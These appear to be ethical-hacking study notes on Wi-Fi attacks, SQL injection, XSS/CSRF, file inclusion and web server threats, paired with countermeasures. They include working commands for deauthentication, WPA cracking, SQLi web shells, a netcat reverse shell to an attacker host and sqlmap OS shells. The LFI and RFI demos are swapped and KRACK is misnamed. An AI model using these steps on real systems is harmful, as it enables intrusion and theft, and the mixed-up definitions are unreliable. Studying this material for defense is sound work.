Wireless basics

Features

  • Access Point (AP): Device providing wireless connectivity.
  • Wireless LAN (WLAN): wireless local area network.
  • Basic Service Set Identifier (BSSID): MAC address of an access point.
  • Service Set Identifier (SSID): name of a wireless network.
  • Association: process of connecting to an AP.

Wireless standards (802.11)

802.11 is the standard for Wi-Fi. Variants have different frequency bands, ranges, and data rates.

Standard Frequency (GHz) Range (meters) Bandwidth (Mbps)
802.11a 5 35-100 54
802.11b 2.4 35-140 11
802.11g 2.4 38-140 54
802.11n 2.4 / 5 70-250 54-600
802.11ac 5 46-92 433-6933
802.11ax 2.4 / 5 / 6 Up to 9.1 574-9608 (up to 10 Gbps)

Authentication types

  1. Open Wi-Fi: no authentication required; highly insecure.
  2. Pre-Shared Key (PSK): requires a password to connect. Common in personal networks.
  3. Centralized authentication: uses systems like RADIUS. Common in enterprise networks.
  4. Captive portals: requires users to accept terms via a web browser.

Antenna types

  1. Yagi antennas: highly directional. Common in outdoor setups.
  2. Omnidirectional antennas: radiates signals in all directions. Used in typical indoor setups.
  3. Parabolic grid antennas: highly directional with a grid-like structure. Ideal for long-distance links.
  4. Reflectors: enhance signals by focusing electromagnetic waves.

Evolution of wireless encryption protocols

  1. WEP (Wired Equivalent Privacy): 24-bit static IV and RC4 cipher, weak and easily cracked.
  2. WPA (Wi-Fi Protected Access): 48-bit IV, RC4 with TKIP, improved over WEP but still vulnerable.
  3. WPA2: AES-CCMP (Counter Mode with CBC-MAC Protocol), stronger than WPA; supports personal and enterprise modes.
  4. WPA3: AES-GCMP-256 with 192-bit encryption, enhanced security for modern networks.

Wireless threats

Authentication Attacks

  • Definition: attacks aimed at the authentication mechanisms of a wireless network.
  • Method: typically involve brute-forcing the pre-shared key (PSK) or password.
  • Impact: allows attackers to gain unauthorized access by repeatedly attempting to guess the correct authentication credentials.

Rogue Access Points

  • Definition: unauthorized access points installed within a network.
  • Purpose: provides attackers with backdoor access to the internal network.
  • Example: an employee might install an access point for convenience, inadvertently creating a security vulnerability.

Evil Twin Attack

  • Definition:: an attack where a malicious access point is set up to mimic a legitimate one.
  • Method: attackers use the same SSID as the legitimate network to trick users into connecting.
  • Impact: users unknowingly connect to the attacker’s access point, exposing their data to interception.

Honeypot AP

  • Definition: an access point set up to lure attackers.
  • Purpose: attracts and traps attackers by posing as a legitimate, trusted network.
  • Impact: helps to identify and analyze malicious activities.

Soft AP (Software Access Point)

  • Definition: an access point created through software rather than hardware.
  • Method: malware turns a compromised device into an access point.
  • Impact: allows attackers to connect to the infected device and access internal network resources.

Denial of Service (DoS) Attacks

  • Definition: attacks aimed at disrupting the availability of the wireless network.
  • Methods:
    • Deauthentication attacks: sending deauthentication frames to disconnect users repeatedly.
    • Disassociation attacks: sending disassociation frames to force users to disconnect.
    • Jamming: emitting signals that interfere with the wireless communication.

Crack (Key Reinstallation Attack)

  • Definition: an attack on WPA and WPA2 protocols.
  • Method: blocking message 3 of the four-way handshake, causing the access point to resend it with the same nonce.
  • Impact: allows attackers to decipher the encryption keys by exploiting the reuse of nonces.

MAC Spoofing

  • Definition: changing the MAC address of a device to bypass MAC filtering.
  • Method: attackers sniff for allowed MAC addresses and change their device’s MAC address to match.
  • Impact: grants unauthorized access to the network by appearing as a trusted device.

Wireless hacking tools

Wi-Fi Discovery Tools

  1. InSSIDer:

    • Displays statistics about wireless networks.
    • Shows SSIDs, BSSIDs, signal strengths, and channels.
    • Helps identify less congested channels for setting up wireless networks.
  2. NetSurveyor:

    • Provides information on SSIDs, BSSIDs, channels, and signal strengths.
    • Indicates encryption types and beacon strength.
  3. Mobile tools:

    • Fing: Popular network analysis tool for mobile devices.
    • Network analyzer: Another tool for discovering and analyzing wireless networks on mobile.

GPS Mapping Tools

  1. Wiggle:

    • Displays a map of detected wireless networks.
    • Provides detailed information about the physical locations of networks.
  2. Wi-Fi map:

    • Shows wireless networks along with passwords if available.
    • Useful for mapping and locating specific networks.

Traffic Analysis Tools

  • Wireshark:
    • Captures and analyzes network traffic.
    • Useful for seeing unencrypted data transmitted over wireless networks.

Wireless Attack Tools

  1. Aircrack-ng suite:

    • Comprehensive suite of tools for wireless network security testing.
    • Includes tools like Airbase-ng, Aircrack-ng, Airdecap-ng, and others.
  2. Fern Wi-Fi cracker:

    • GUI-based tool for wireless security auditing.
    • Automates the process of network discovery and attacking.
  3. WiFite:

    • Automates wireless auditing and penetration testing.
    • Scans for networks and attempts to crack WEP/WPA keys.

Wireless hacking

  • MAC Spoofing: MAC spoofing is a technique used to impersonate a trusted device on a network by spoofing its MAC address. The process is as follows:

    1. Enable monitor mode on the wireless interface:
      1
      sudo airmon-ng start wlan0
    2. Begin capturing packets to find the SSIDs available:
      1
      sudo airodump-ng wlan0mon
    3. Once we have the BSSID of the AP, filter the captured packets to focus on a specific channel and BSSID (AP’s MAC address) to identify allowed devices’ MAC addresses:
      1
      sudo airodump-ng -c <channel> --bssid <BSSID> -w output wlan0mon
    4. Use MAC Changer to spoof the MAC address and connect to the AP bypassing the mac filtering.
  • Deauthentication Attacks: deauthentication attacks disrupt the connection between a client and an access point by sending deauthentication frames. The procedure involves:

    1. Use aireplay-ng to send deauthentication packets to the target client: (we need to follow the first 3 steps again to get client mac address)
      1
      sudo aireplay-ng --deauth 25 -a <AP-BSSID> -c <Client-MAC> wlan0mon
  • WPA Cracking: WPA cracking aims to capture a WPA handshake and then crack the passphrase. The hosts outlined the steps as follows:

    1. If necessary, use Aireplay-ng to force a handshake by deauthenticating clients.
    2. Capture the WPA handshake by sniffing network traffic on a specific channel and BSSID:
      1
      sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
    3. Once the handshake is captured, attempt to crack the WPA password using aircrack-ng:
      1
      sudo aircrack-ng -a2 -b <BSSID> -w /path/to/wordlist capture.cap

Wireless hacking countermeasures

Wireless security controls

Measures to improve system security, including:

  • Technical controls: patches, updates, encryption protocols.
  • Administrative controls: audits, policy enforcement.
  • Procedural controls: incident response and change management.

Patches and updates

  • Regularly update:
    • Client devices (e.g., laptops, mobile phones).
    • Firmware and software for Access Points (APs).
  • Importance:
    • Fixes bugs and vulnerabilities.
    • Enhances device security.
  • e.g. TP-Link updates include security enhancements and bug fixes.

Changing default configurations

  • Default settings are predictable and exploitable:
    • Default SSIDs (e.g., “Linksys”).
    • Default admin passwords.
    • Standard DHCP configurations.
  • Recommendations:
    • Modify SSID to non-identifiable names.
    • Change admin credentials.
    • Avoid broadcasting SSID (security through obscurity).
    • Use strong, randomly generated passphrases.

Enable strong encryption

  • Use at least WPA2-Personal for encryption.
  • Enterprise environments should consider WPA2-Enterprise: employs RADIUS and certificate-based authentication for added security.
  • Avoid deprecated protocols like WEP.

Limit remote access

  • Disable remote login unless absolutely necessary.
  • If enabled, use HTTPS to secure connections and employ strong authentication mechanisms.

Network Access Control (NAC) and segmentation

  • NAC tools:
    • e.g. PacketFence (open-source NAC solution).
    • Enforce strict access policies for devices connecting to the network.
  • Network segmentation:
    • Divide networks into segments.
    • Restrict access between segments to prevent lateral movement.

Additional measures

  • VPN usage:
    • Encrypts data over untrusted networks.
    • Ideal for remote workers or public WiFi scenarios.
  • Firewalls, IDS, IPS:
    • e.g. Cisco Adaptive Wireless IPS for enterprise wireless security.
    • Detect and prevent intrusions or anomalies.

Physical security

  • Protect access points and devices:
    • Secure in locked areas.
    • Limit access to authorized personnel.
  • Prevent tampering or theft, especially in IoT deployments.

Scheduled audits and baselines

  • Conduct regular WiFi surveys and heat maps:
    • Identify signal bleed into untrusted areas.
    • Optimize signal strength and placement.
  • Compare current configurations to established baselines.
  • Update baselines after approved changes.

Public WiFi guidelines

  • Avoid connecting enterprise devices to public WiFi.
  • Educate users on risks and enforce policies against usage.

SQLi concepts

SQL injection involves injecting SQL queries into existing queries to manipulate database operations. User input from the frontend is incorporated into backend SQL queries, so if it is not properly handled, attackers can execute arbitrary SQL commands.

  • SQL injections compromise the CIA triad:

    • Confidentiality: data can be read.
    • Integrity: data can be modified.
    • Availability: data can be deleted.
  • Causes of SQL injections:

    • Insecure coding practices.
    • Trusting user input without proper validation.
    • Lack of secure Software Development Life Cycle (SDLC) practices.
  • Types:

    1. Authentication bypass:e.g. bypassing login forms using SQL injection to gain unauthorized access.
    2. Error-Based SQL Injection: leveraging database error messages to adjust and refine SQL queries.
    3. Blind SQL Injection: no direct feedback; relies on indirect clues to determine success.
    4. NoSQL Injection: exploiting NoSQL databases (like MongoDB) with similar injection techniques.
  • Finding SQL injection points:

    • Visible Methods: login forms, search boxes, URLs with query parameters (e.g., id=1).
    • Less Visible Methods: analyzing page source and API calls using tools like web proxies (e.g., Burp Suite).
  • Automating SQL injection discovery:

    • Using vulnerability scanners (e.g., Nessus).
    • SQL-specific tools (e.g., SQLMap) for automated testing and exploitation.
  • Common Defenses against SQL injections:

    1. Input validation: regular expression filtering to block special characters like single quotes.
    2. Web Application Firewalls (WAFs): identifying and blocking SQL injection attempts.
    3. Least privilege principle: restricting database access rights to minimize potential damage.
    4. Parameterized queries / Prepared Statements: using pre-built SQL statements that do not change based on user input.
  • Bypassing SQL injection defenses:

    1. Query Obfuscation: using inline comments to break up query strings (e.g., or/**/1=1).
    2. Null Bytes: incorporating null bytes (%00) to disrupt pattern matching.
    3. Using variables: embedding SQL queries within variables.
    4. Encoding special characters: URL encoding or hex encoding special characters to bypass filters.
    5. Concatenation: breaking keywords into parts using concatenation (e.g., S+E+L+E+C+T).
    6. Uncommon Queries: using less common but logically equivalent queries (e.g., dog=dog instead of 1=1).

Error-based SQLi attacks

Type of SQL injection that relies on database error messages to confirm and exploit vulnerabilities. It’s goal is to trigger database errors to reveal information about the structure of the database, including columns, tables, and data.

How to

  1. Inject a single quote (') or similar characters into inputs to provoke errors.
  2. Analyze error messages to identify:
    • Valid injection points.
    • Database structure (e.g., number of columns, table names).
  3. Use SQL queries (e.g., ORDER BY, UNION SELECT) to extract data or refine injection techniques.

Steps in exploiting

  1. Find Injection Points: test inputs like search boxes, URLs, or login forms (e.g. adding ' to a search query may result in an error).

  2. Determine the Number of Columns: ese ORDER BY to incrementally test the number of columns.

    1
    2
    3
    4
    ' ORDER BY 1--   (Works)
    ' ORDER BY 2-- (Works)
    ' ORDER BY 8-- (Error: 8 columns do not exist)
    -- Stop when an error occurs to identify the maximum column count.
  3. Label Output Columns: use UNION SELECT to identify output columns visible in the web application.

    1
    2
    ' UNION SELECT 1,2,3,4-- 
    -- The visible numbers in the result correspond to exploitable columns.
  4. Extract Table and Column Names: use information_schema tables to gather database metadata.

    1
    2
    ' UNION SELECT table_name FROM information_schema.tables--
    ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
  5. Retrieve Sensitive Data: extract data using the identified table and column names.

    1
    ' UNION SELECT username, password FROM users--
  6. Crack Password Hashes (if applicable): extract hashed passwords and use tools like CrackStation to decode them.

Defenses

  1. Input Validation: block characters like ', ", --, ; to prevent SQL injection.
  2. Parameterized Queries (Prepared Statements): separate SQL code from user input.
  3. Web Application Firewalls (WAF): detect and block suspicious queries.
  4. Least Privilege: restrict database user permissions to minimize damage.
  5. Disable Detailed Error Messages: return generic error messages to users (e.g., “An error occurred.”).

Blind-based SQLi attacks

Sometimes, an attack’s success is not immediately visible. Blind SQL injections are used when there’s no direct indication of success or failure. Different from error-based injections where you get direct feedback.

  • Slower Process: requires manual testing and multiple iterations.
  • Subtle feedback: rRelies on small application behavior changes or response delays.

Types

  1. Boolean-Based Blind SQL Injection

    • Relies on the application returning different results for TRUE and FALSE queries.
      • e.g.checking for the existence of data based on conditional statements (OR 1=1 for TRUE, OR 1=2 for FALSE).
    • Observing the response helps determine if the injection was successful.
  2. Time-Based Blind SQL Injection

    • Involves injecting SQL commands that cause the database to delay its response.
    • Example: Using the SLEEP function to introduce a delay.
    • The time delay indicates whether the injection was successful.

How to

  1. Boolean-based approach:

    • Inject logical conditions to observe variations in responses:
      1. Inject ' OR 1=1-- (True condition) → observe if content is displayed.
      2. Inject ' OR 1=2-- (False condition) → observe if content is not displayed.
    • Use conditions like ORDER BY to infer database structure:
      1
      2
      ' ORDER BY 1 -- (Valid column)
      ' ORDER BY 8 -- (Invalid column, triggers subtle behavior changes)
  2. Time-based approach: sxploit functions like SLEEP() to delay responses:

    1. Inject ' OR SLEEP(5)-- → Response delayed by 5 seconds indicates success.
    2. Adjust sleep time to validate column counts or other queries.

Defenses against blind SQL injection

  1. Input validation: reject unexpected characters (', ", ;, --).
  2. Parameterized queries (Prepared Statements): prevent dynamic query construction.
  3. Web Application Firewalls (WAF): detect and block anomalous patterns.
  4. Disable Sleep Commands: prevent execution of time-based functions like SLEEP().
  5. Limit Error Feedback: return generic error messages.

SQLi to system access

  • Definition: Exploits vulnerabilities in database queries to manipulate data. Commonly used to access or manipulate unauthorized data.

How to

  1. File read via SQL injection: use the LOAD_FILE function to read files accessible to the SQL user.

    1
    2
    UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd'), 5, 6, 7--
    -- Displays contents of the `/etc/passwd` file.
  2. File write via SQL injection: use INTO OUTFILE to write files, such as text files or scripts, to writable directories.

    1
    UNION SELECT 1, 2, 3, 'Test Content!', 5, 6, 7 INTO OUTFILE '/var/www/html/test.txt'--
  3. Remote Code Execution (RCE): inject PHP code into writable directories to create a web shell.

    1
    2
    UNION SELECT 1, 2, 3, "<?php echo shell_exec($_GET['cmd']); ?>", 5, 6, 7 INTO OUTFILE '/var/www/html/shell.php'--
    # then access the shell via the browser: http://target.com/shell.php?cmd=whoami
  4. Escalation to reverse shell : combine RCE with tools like netcat to gain interactive shell access.

    1. Start a listener on the attacker machine
      1
      nc -lvp 9999
    2. Inject reverse shell command
      1
      UNION SELECT 1, 2, 3, "<?php echo shell_exec('nc -e /bin/bash <attacker_ip> 9999'); ?>", 5, 6, 7 INTO OUTFILE '/var/www/html/reverse.php'--
    3. Trigger the reverse shell via browser: http://target.com/reverse.php

Mitigation strategies

  • Always validate and sanitize user inputs.
  • Use parameterized queries and Object Relational Mapping (ORM) practices.
  • Limit database permissions to the minimum required for functionality.

SQLMap

SQLmap is a powerful automation tool for identifying and exploiting SQL injection vulnerabilities. It allows users to enumerate databases, extract data, and even execute system commands if conditions allow.

Set up

  • Basic syntax: GET* (pass the URL) or POST (--data to provides request body) requests.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    sqlmap --url "http://target.com/vulnerable_page.php"
    # --url: Define the target URL.
    # --cookie: Provide session tokens for authenticated testing.
    # --data: Supply POST request parameters.
    # --dbs: Enumerate databases.
    # --tables: List tables within a database.
    # --columns: Display columns in a table.
    # --dump: Extract data from specified columns.
    # --os-shell: Attempt OS shell access.
    • Enumerate databases:

      1
      sqlmap --url "http://target.com/vulnerable_page.php" --dbs
    • Enumerate tables in a specific database:

      1
      sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> --tables
    • Dump data from specific columns:

      1
      sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> -T <table_name> -C "column1,column2" --dump
    • Attempt OS command execution:

      1
      sqlmap --url "http://target.com/vulnerable_page.php" -D <database_name> --os-shell
  • Using Cookies and Session Tokens: if a session is required, pass cookies using --cookie:

    1
    sqlmap --url "http://target.com/vulnerable_page.php" --cookie="PHPSESSID=abc123; SecurityLevel=low"
  • Important observations

    • SQLmap can detect and bypass many defenses, including:
      • URL redirects.
      • Cookies for session management.
      • Union-based and boolean-based SQL injection techniques.
    • Automated cracking of hashed passwords is supported (e.g., dictionary attacks).

Web App basics

Web Application: UI to interact with web servers

Architecture

  • Service-oriented architecture (SOA): architecture-driven software design where software components deliver information to other components usually over a network (e.g. a company might develop an API that provides software programming access to a specific database, which would then let other developers build applications that could leverage the API to query or upload data).
  • Multi-tier architecture: each layer is developed and maintained as independent modules. Every layer can exist without the layers above it, and requires the layers below it to function.
    • Three-tier architecture:
      1. Client/presentation layer: GUI to interact with users, place in DMZ layer (e.g. HTML, CSS, JavaScript).
      2. Business layer or logic layer: encapsulates the API definition surfacing the supported business functionality, place in internal network (e.g. C#, Java, Python, C++…)
      3. Database layer or Persistence layer: place in internal network (e.g. MySQL, Oracle, MongoDB).
Layer Web element / service Description
Layer 7 Web application Business logic flaws, technical vulnerabilities
Layer 6 Third party applications Open source or commercial
Layer 5 Web server Apache, IIS
Layer 4 Database MySql, Oracle
Layer 3 OS Linux, Windows, macOS
Layer 2 Network Router, Switch
Layer 1 Security IPS / IDS

Web application hacking methodology

  1. Web infrastructure footprinting:

    • Server discovery: servers, location, ports
    • Hidden content discovery (e.g. through web crawling)
      • using telnet (telnet <target-url-or-ip> 80 to create a telnet connection,and press escape to get some info).

      • using OpenSSL (TLS/SSL toolkit & library) with s_client (SSL/TLS client)

        1
        2
        openssl s_client -connect <target website> -port 443
        openssl s_client -connect <target website>:443
  2. Web server attack to exploit identified vulnerabilities:

    • Client-side controls evasion (e.g. attacking hidden form fields).
    • Launch web server attack to exploit identified vulnerabilities, launch DoS.

Web application threats

  • OWASP Top 10 Threats: Injection, Broken authentication, Sensitive data exposure, XML External Entities (XXE), Broken Access Control, Security misconfiguration, Cross-Site Scripting (XSS), Insecure deserialization, Using components with known vulnerabilities, Insufficient logging and monitoring.
  • Web-server threats: Denial-of-Service (DoS), Buffer Overflow.
  • Obfuscation application: obfuscated attacks using e.g. different encodings.
  • Broken account management: vulnerabilities in account update, password reset/recovery and other functions.
  • Platform Exploits: platforms that websites are built with/built on might have vulnerabilities.

OWASP top 10 web application attacks

  • OWASP: open community dedicated for application security.
  • OWASP Community Pages: Wiki including controls, attacks, vulnerabilities for applications.
  • OWASP WebGoat is a deliberately insecure application to test top 10 vulnerabilities.
  • OWASP Top 10: Describes top 10 application security threats.
    1. Broken Access Control (A01): inadequate enforcement of access controls, such as improper authorization mechanisms, missing authentication, or failure to restrict users’ access to certain functionalities or resources.
    2. Cryptographic Failures (A02): vulnerabilities related to the incorrect implementation or misuse of cryptographic techniques, such as encryption, hashing, or key management. These failures can lead to sensitive data exposure or compromise of system integrity.
    3. Injection (A03): untrusted data is sent to an interpreter as part of a command or query, leading to the execution of unintended commands or unauthorized access to data. This category includes common injection attacks such as SQL injection, NoSQL injection, and command injection.
    4. Insecure Design (A04): flaws in the architectural or design aspects of a system, such as inadequate threat modeling, insecure design patterns, or failure to follow secure coding principles. These vulnerabilities can lead to systemic weaknesses that are difficult to address without fundamental design changes.
    5. Security Misconfiguration (A05): security settings are not properly configured, such as default passwords, unnecessary features enabled, or excessive permissions granted. These misconfigurations can expose systems to unauthorized access, data leaks, or other security risks.
    6. Vulnerable and Outdated Components (A06): risks associated with the use of outdated or vulnerable software components, such as libraries, frameworks, or third-party dependencies. Failure to update or patch these components can expose applications to known exploits and security vulnerabilities.
    7. Identification and Authentication Failures (A07): when authentication mechanisms are improperly implemented or authentication credentials are not adequately protected. These failures can lead to unauthorized access, account takeover, or other security breaches.
    8. Software and Data Integrity Failures (A08): focuses on vulnerabilities related to assumptions made about software updates, critical data, or CI/CD pipelines without verifying integrity. These failures can lead to unauthorized modifications to software or data, compromising system integrity and security.
    9. Security Logging and Monitoring Failures (A09): logging and monitoring failures occur when applications fail to generate adequate logs or monitoring alerts, hindering detection and response to security incidents. These failures can impact visibility, incident alerting, and forensic analysis, making it difficult to detect and mitigate security threats.
    10. Server-Side Request Forgery (A10): when attackers can manipulate server-side requests to access internal resources or perform unauthorized actions on behalf of the server. These vulnerabilities can lead to data leaks, unauthorized access, or server-side attacks.

Web app hacking methodology

  1. Reconnaissance and footprinting:
    • Understand the application and its environment.
    • Gather information about the target’s organization, technology stack, and potential vulnerabilities.
  2. Enumeration:
    • Identify IP addresses, DNS information, subdomains, virtual hosts, firewalls, WAFs, proxies, rate limiting, etc.
    • Discover software versions, open ports, files, directories, and hidden content.
  3. Vulnerability assessment:
    • Use automated tools and manual testing to find vulnerabilities.
    • Identify potential exploits by mapping out discovered vulnerabilities.
  4. Exploitation:
    • Attack identified vulnerabilities to gain unauthorized access or escalate privileges.
    • Perform various types of attacks such as injection attacks, authentication bypasses, logic flaws, CSRF, XSS, and more.

Unvalidated redirects and forwards

  • Unvalidated redirect: redirecting users to different websites without validating the target URL.
    • Commonly seen when a link redirects you to a different site.
    • Attackers exploit these to create phishing sites that appear legitimate.
    • Users may not notice the change in URL, leading to credential theft or malware downloads.
  • Unvalidated forward: similar to redirects but often used within applications, potentially granting access to restricted areas.
    • May grant access to restricted pages, such as admin portals.
    • Harder to demonstrate as they require specific vulnerable systems.

How to

  • Tools used:

    • BWAP (Buggy Web Application): used to demonstrate the attack.
    • Social engineering toolkit (SE Toolkit): for cloning the login page.
  • Steps:

    1. Create a phishing email: informing users of a fake data breach and asking them to log in.
    2. Clone login page: using SE Toolkit to create a fake login page that mimics the real one.
    3. Set up redirect: direct the phishing link to the fake login page.
    4. Capture credentials: when users enter their credentials, they are logged, demonstrating how easily information can be stolen.

XSS and CSRF

Cross-Site Scripting (XSS)

XSS is a vulnerability where an attacker can inject malicious scripts into web pages viewed by other users. These scripts are typically written in JavaScript and can execute arbitrary code in the victim’s browser, stealing data or performing actions on their behalf.

  • Types:

    1. Reflected XSS
      • Occurs when user input is immediately returned by a web application without proper sanitization.
      • Example: Searching for a term on a website that displays the search term back to you without encoding.
    2. Stored (Persistent) XSS
      • Occurs when user input is stored on the server and then displayed on web pages.
      • Example: Comment sections on blogs where malicious scripts are stored in the database and executed every time the comment is viewed.
    3. DOM-based XSS
      • Occurs when the vulnerability exists in the client-side code rather than the server-side code.
      • Example: Manipulating the DOM environment in the browser to execute malicious scripts.
  • Testing for XSS: To test for XSS, you can inject a simple JavaScript alert script into inputs to see if it gets executed:

    1
    <script>alert('XSS');</script>

Cross-Site Request Forgery (CSRF)

CSRF exploits the trust that a web application has in the user. It tricks the user into performing actions on behalf of the attacker, often without the user’s knowledge.

How to

  • Trust relationship: the user is authenticated on a site (e.g., logged into their bank).
  • Malicious request: the attacker crafts a request to perform a sensitive action (e.g., transferring money) and embeds it in a malicious link or script.
  • Execution: the user unknowingly triggers the action by visiting a malicious website or clicking a link, which uses their credentials to perform the action.

Combining XSS and CSRF

An attacker can leverage XSS to inject a CSRF attack, combining the power of both vulnerabilities. Here’s an example scenario:

  1. Identify CSRF vulnerability: find a URL that performs a sensitive action, like transferring money, which includes the action and parameters in the URL.

  2. Craft XSS payload: use an XSS vulnerability to inject a script that automatically triggers the CSRF request.

  3. Deliver payload: the payload can be delivered via a blog comment, social media post, or any other method where users will view the malicious content.

    1
    2
    3
    <script>
    new Image().src = "http://victim.com/transfer?amount=100&account=attacker_account";
    </script>

Input filtering evasion

  1. Character encoding: utilize different representations like HTML entities and hexadecimal encoding to alter characters and bypass filters.
  2. White space manipulation:
    • Use spaces, tabs, line breaks, and other white space characters to disguise input.
    • Encode white space characters to avoid issues with spaces in commands.
  3. Script tag manipulation:
    • Alter the case of characters in script tags to confuse case-sensitive filters.
    • Mixing case in script tags can bypass filters that are not case-sensitive.
  4. Polyglots:

IDOR

IDOR stands for Insecure Direct Object Reference, indicating a vulnerability where users can manipulate parameters of a web application that should be inaccessible.

  • Characteristics:
    • Users can access and modify sensitive data or functionality that should be restricted (like ticket price during ticket purchase POST request).
    • Often arises due to oversight or neglect in implementing proper access controls.
  • Exploitation:
    • Attackers leverage IDOR vulnerabilities to gain unauthorized access to resources or perform actions beyond their privileges.
    • Manipulating parameters through tools like Burp Suite or browser dev tools allows users to bypass intended restrictions.
  • Prevention: mitigation requires implementing robust access controls, validating user inputs, and enforcing least privilege principles.

File inclusion (LFI, RFI)

File inclusion involves incorporating a file into a web application. This can be done either by fetching files from the local file system or from a remote source. While file inclusion is a useful feature in web development, it can be exploited by malicious actors to gain unauthorized access to sensitive files or even the server itself.

Types

  1. Local File Inclusion (LFI): includes files from the local file system (e.g. including a configuration file from the server).
    • Demo:
      1. In the URL of the vulnerable web application, replace the local file path with the path to rev_shell.php hosted on the attacker’s server: http://vulnerable-app.com/index.php?page=http://attacker-server/rev_shell.php. Once executed, the reverse shell connects back to the attacker, providing remote access.
      2. We have already set up a listener to use the reverse shell when established: nc -nvlp 9999 # Start the listener on port 9999
  2. Remote File Inclusion (RFI): includes files from a remote server (e.g. including an image hosted on another server).
    • Demo:
      1. The file /etc/passwd is a common target to demonstrate LFI.
      2. Modify the URL parameter to include /etc/passwd: http://vulnerable-app.com/index.php?page=/etc/passwd

APIs and webhooks

API

API stands for Application Programming Interface. An API allows different software applications to communicate with each other.

  • Features:

    • Interoperability: APIs enable different systems and software to work together, regardless of the underlying technologies they are built on.
    • Efficiency: They automate processes that would otherwise require manual intervention, making tasks more efficient.
    • Scalability: APIs can handle numerous requests simultaneously, supporting scalability in software applications.
  • Types of APIs:

    1. REST (Representational State Transfer): Uses standard HTTP methods (GET, POST, PUT, DELETE) and is often preferred for web services because of its simplicity and performance. It typically uses JSON for data exchange.
    2. SOAP (Simple Object Access Protocol): A protocol for exchanging structured information in web services. It relies on XML and is known for its strict standards and extensibility.

Webhook

A webhook is a method of augmenting or altering the behavior of a web application with custom callbacks. It is a way for an application to provide real-time information to other applications. Webhooks are triggered by events and send data to a specified URL in real-time.

  • Types:
    • Event-driven: Webhooks are configured to listen for specific events. When an event occurs, the webhook sends a payload of data to a pre-defined URL.
    • Push notifications: They work like push notifications, notifying the recipient immediately when an event occurs, rather than requiring the recipient to poll the server for updates.

Web server basics

A web server is a network service that delivers web applications and pages to users. Web servers are crucial for ethical hackers to understand, including their components, vulnerabilities, and security measures.

Common web server software

  1. Apache: Most widely used open-source web server. Stable, free, and highly configurable.
  2. Nginx: Known for its performance and efficiency in handling concurrent connections. Often used for load balancing and reverse proxying.
  3. IIS (Internet Information Services): Proprietary Microsoft server software. Integrated into Windows Server with advanced features for Windows-based environments.

Web server components

  1. Document root: directory where the primary website files (e.g., index.html) are stored (e.g. /var/www/html for Apache).
  2. Server root: location for configuration files, logs, and supporting scripts (e.g. /etc/apache2/ for Apache servers).
  3. Virtual directories: remote or external storage locations for website content.
  4. Virtual hosts: allows hosting multiple websites on a single server using distinct domain names (e.g. admin.example.com for admin access).
  5. Web proxies: handles requests between clients and servers, filtering traffic for security or performance purposes.

Common web server vulnerabilities

  1. Outdated software: unpatched operating systems, web servers, or applications expose known vulnerabilities.
  2. Default configurations: default usernames, passwords, or file locations are often exploited.
  3. Poor authentication mechanisms: weak or absent authentication controls allow unauthorized access.
  4. Misconfigurations: incorrect permissions or settings can expose sensitive data.
  5. Software vulnerabilities: security flaws in CMSs (e.g., WordPress) or web applications can be exploited.

Countermeasures and mitigations

  1. Network design:
    • DMZ (DeMilitarized Zone): isolates public-facing servers from internal networks.
    • Network Segmentation: limits access and damage in case of a breach.
    • Firewalls: use Web Application Firewalls (WAFs) to filter traffic based on HTTP/HTTPS rules.
  2. Security practices:
    • Patches and updates: regularly update all components, including server software and applications.
    • Change defaults: avoid default credentials and file locations.
    • File permissions: set restrictive permissions to limit access.
    • Secure coding: filter user input to prevent injection attacks (e.g., SQLi, XSS).
  3. Additional measures:
    • Encryption: use HTTPS and other encryption protocols for secure communication.
    • Honeypots: detect and analyze attacker behaviors.
    • Error handling: avoid detailed error messages that expose sensitive information.

Web server attacks

Web servers are critical components of modern infrastructure but are frequent targets for attackers.

Types

  1. Denial of Service (DoS/DDoS): overwhelms a server with excessive traffic, making it unavailable to legitimate users (e.g. targeting enterprise websites, like Amazon, can result in significant financial losses).
  2. Directory traversal: exploits vulnerabilities to navigate beyond the web root directory into the server’s file system (e.g. accessing /var/www/admin/settings.php to retrieve database credentials).
    • Technique: using ../ to move up directory levels and access sensitive files like etc/passwd.
    • Impact: exposes configuration files, logs, or sensitive data stored on the server.
  3. Phishing: cloning a website to trick users into providing credentials or downloading malware.
    • Method:
      • Craft a phishing email or text with a link to a fake website.
      • Harvest user credentials when they attempt to log in.
    • Impact: compromised user accounts or malware infection.
  4. Defacement: attackers alter a website’s front page to display messages, slogans, or images.
    • Common Targets: Organizations targeted by hacktivists.
    • Impact: damages brand reputation and trust.
  5. Brute Force remote administration: repeatedly guesses credentials for remote access services like SSH, RDP, or web admin portals.
    • Tools: Hydra, Ncrack, Burp Suite, WPScan (for WordPress).
    • Impact* unauthorized access to administrative interfaces.
  6. Server-Side Request Forgery (SSRF): forces a server to send unauthorized requests on behalf of the attacker.
  • Use Cases: internal port scanning; accessing internal resources using trusted server privileges (e.g. ending requests to 127.0.0.1:22 to check if SSH is enabled).
  1. Cross-Site Scripting (XSS): injects malicious scripts into a webpage, executed in users’ browsers.
    • Impact:
      • Session hijacking.
      • Redirection to malicious websites.
      • Data theft.
    • Variants: rtored, Reflected, DOM-based XSS.
  2. Insecure Direct Object References (IDOR): exploits insufficient access controls to access restricted objects directly (e.g. manipulating URL parameters to access unauthorized files or records).
  3. Injection attacks: Injects malicious code or commands into applications or servers (e.g. sing ; ls -la to list server files).
    • Subtypes:
      • SQL Injection: Manipulating SQL queries.
      • Command Injection: Executing system commands using input fields.
  4. File Inclusion (RFI/LFI)
    • Types:
      • Remote File Inclusion (RFI): includes external files via URL input.
      • Local File Inclusion (LFI): exploits the server to access local files.
    • Impact: exposes sensitive data or executes malicious scripts.

Countermeasures

  • Patches and Updates: regularly update web servers and software to fix known vulnerabilities.
  • Least Privilege: restrict permissions to limit access to sensitive directories and files.
  • Input Validation: sanitize user inputs to prevent injection attacks.
  • Use WAFs: deploy Web Application Firewalls to filter malicious traffic.
  • Monitor Logs: identify abnormal activity through log analysis.
  • Error Handling: avoid exposing detailed error messages that aid attackers.

Web server hacking methodology

5 steps:

  1. Reconnaissance: the initial phase to gather information about the target system.

    • Key activities:
      Identify open ports and services (e.g., HTTP, HTTPS, MySQL).
      • Determine server type and version (e.g., Apache, Nginx, IIS).
      • Check for CMS platforms (e.g., WordPress, Joomla).
